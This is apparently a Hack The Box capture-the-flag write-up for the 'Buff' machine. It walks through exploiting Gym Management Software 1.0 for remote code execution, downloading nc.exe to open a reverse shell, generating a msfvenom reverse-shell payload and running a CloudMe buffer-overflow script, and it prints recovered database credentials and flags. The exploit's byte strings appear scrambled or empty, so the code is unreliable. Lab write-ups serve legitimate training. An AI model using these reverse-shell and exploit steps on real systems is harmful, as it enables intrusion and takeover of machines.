Buff - Hack The Box

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.
hackthebox
Author

0xPThree

Published

July 27, 2020

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”


██╗ ██╗███████╗███████╗██████╗ ██║ ██║██╔════╝██╔════╝██╔══██╗ ██║ ██║███████╗█████╗ ██████╔╝ ██║ ██║╚════██║██╔══╝ ██╔══██╗ ╚██████╔╝███████║███████╗██║ ██║ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝

  1. root@nidus:~# nmap -Pn -sC -sV -n 10.10.10.198 Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-27 08:52 CEST Nmap scan report for 10.10.10.198 Host is up (0.027s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION |_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6 |_http-title: mrb3n’s Bro Hut

  2. Browsing the webpage under Contact we find the information “Made using Gym Management Software 1.0”. A quick google for exploits the first result that comes up is an unauthenticated RCE. Download and run the python script:

    root@nidus:/git/htb/buff# python rce.py http://10.10.10.198:8080/ /
    /vvvvvvvvvvvv -————————————-, `^^^^^^^^^^^^ /============BOKU=====================” /

    [+] Successfully connected to webshell. C:> whoami �PNG � buff

  3. The shell is basic and we are unable to traverse the directories. Upload nc.exe and use it to get a workable shell.

    From my browser: http://10.10.10.198:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.4:8888/nc.exe

    C:> nc.exe 10.10.14.4 4488 -e powershell

    root@nidus:~# rlwrap nc -lvnp 4488 listening on [any] 4488 … connect to [10.10.14.4] from (UNKNOWN) [10.10.10.198] 50355 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

    PS C:>

    Traversing to the gym directory we find “New Text Document.txt” containing database information. Possible rabbit hole?

    PS C:> type “New Text Document.txt” type “New Text Document.txt” $mysql_host = “mysql16.000webhost.com”; $mysql_database = “a8743500_secure”; $mysql_user = “a8743500_secure”; $mysql_password = “ipad12345”;

  4. Go and grab user.txt PS C:> cat user.txt cat user.txt 1a2e0b6779aa060fc44a5575a0a88926

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██████╗ ██████╗ ██████╗ ████████╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██████╔╝██║ ██║██║ ██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝

  1. Enumerate the box using winPEAS gives us nothing of use. Browsing the directories of shaun we find the file CloudMe_1112.exe, a quick google on that file shows us that it’s vulnerable to buffer overflow. CloudMe runs on port 8888 and can be verified by executing the .exe-file and then run netstat. C:>netstat -ano netstat -ano

    Active Connections Proto Local Address Foreign Address State PID TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING 1472

    Prepare the exploit and create the payload reverse shell. Save the binary data (buf-lines) is your payload. root@nidus:/git/htb/buff# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4499 EXITFUNC=thread -b “0d0a” -f python [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of python file: 1712 bytes buf = b”” buf += b”2e4a5e” buf += b”4d” buf += b”2d” buf += b”4f5b9d” buf += b”6d4c” buf += b”2a5a7a4a” buf += b”0c” buf += b”0f9c1b” buf += b”5c3d3d” buf += b”1a3f1e6e” buf += b”8e” buf += b”8b9f” buf += b”5c” buf += b”” buf += b”4f8d6b” buf += b”6a3b9c6a5d” buf += b”8b2c2b” buf += b”8c3b5a” buf += b”2f” buf += b”6c2c3b9a” buf += b”1a8e” buf += b”3c0f8b” buf += b”5f6a” buf += b”8d” buf += b”8d8d6f” buf += b”0b2a4a6c” buf += b”8e9f9f”

    Modify the exploit script and change the payload to your reverse shell.

    root@nidus:/git/htb/buff# cat root-exploit.py import socket

    target = “127.0.0.1”

    padding1 = b”” * 1052 EIP = b”” # 0x68A842B5 -> PUSH ESP, RET NOPS = b”” * 30

    #msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4499 EXITFUNC=thread -b “0d0a” -f python payload = b”” payload += b”2c9a5f” payload += b”5b” payload += b”5f0b9f6c7a” payload += b”0f1c3c5d9a7a” payload += b”9b1a0c” payload += b”9b3c8c1f” payload += b”” payload += b”0c9b2a” payload += b”” payload += b”6b6f4c4b6c” payload += b”5f” payload += b”1b7e” payload += b”0f5b” payload += b”5e” payload += b”4e” payload += b”6d8e” payload += b”6a5c9a” payload += b”8b6b7f3d” payload += b”8a3c” payload += b”0b3e7a2e” payload += b”5d4f1a” payload += b”3f1a1c7b” payload += b”8c7a8d2d7f” payload += b”0f” payload += b”8a2b” payload += b”4e2a9f” payload += b”2d5c”

    overrun = b”C” * (1500 - len(padding1 + NOPS + EIP + payload))

    buf = padding1 + EIP + NOPS + payload + overrun

    try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target,8888)) s.send(buf) except Exception as e: print(sys.exc_value)

  2. The script needs to be executed on the local box, as the victim doesn’t have python installed. Create a reverse port forward using plink.

    Upload plink: PS C:> invoke-webrequest -uri “http://10.10.14.4:8877/plink.exe” -outfile “C:.exe”

    Setup the reverse port forward using the following syntax: ./plink.exe :127.0.0.1:

    PS C:> ./plink.exe 10.10.14.4 -R 8888:127.0.0.1:8888 ./plink.exe 10.10.14.4 -R 8888:127.0.0.1:8888 The server’s host key is not cached in the registry. You have no guarantee that the server is the computer you think it is. The server’s ssh-ed25519 key fingerprint is: ssh-ed25519 255 6a:d5:96:27:f9:c4:a0:c4:49:86:6d:2d:0e:76:7f:81 If you trust this host, enter “y” to add the key to PuTTY’s cache and carry on connecting. If you want to carry on connecting just once, without adding the key to the cache, enter “n”. If you do not trust this host, press Return to abandon the connection. Store key in cache? (y/n) y login as: p3 p3@10.10.14.4’s password: ********

  3. Setup a new listener to capture the reverse shell from the exploit, and then execute the script. Grab root.txt

    root@nidus:/git/htb/buff# python root-exploit.py root@nidus:~# rlwrap nc -lvnp 4499 listening on [any] 4499 … connect to [10.10.14.4] from (UNKNOWN) [10.10.10.198] 49709 Microsoft Windows [Version 10.0.17134.1610]

    1. 2018 Microsoft Corporation. All rights reserved.

    C:>whoami whoami buff

    C:>cd C: cd C:

    C:>type root.txt type root.txt d19eb6d412b70730c11484d0e0076c3b

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██╗███╗ ██╗███████╗ ██████╗ ██████╗ ███╗ ███╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██║████╗ ██║██╔════╝██╔═══██╗██╔══██╗████╗ ████║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██╔████╔██║███████║ ██║ ██║██║ ██║██╔██╗ ██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║╚██╔╝██║██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ ██║██║ ╚████║██║ ╚██████╔╝██║ ██║██║ ╚═╝ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝

Gym Management Software 1.0 RCE: https://www.exploit-db.com/exploits/48506

CloudMe_1112 Buffer Overflow: https://www.exploit-db.com/exploits/48389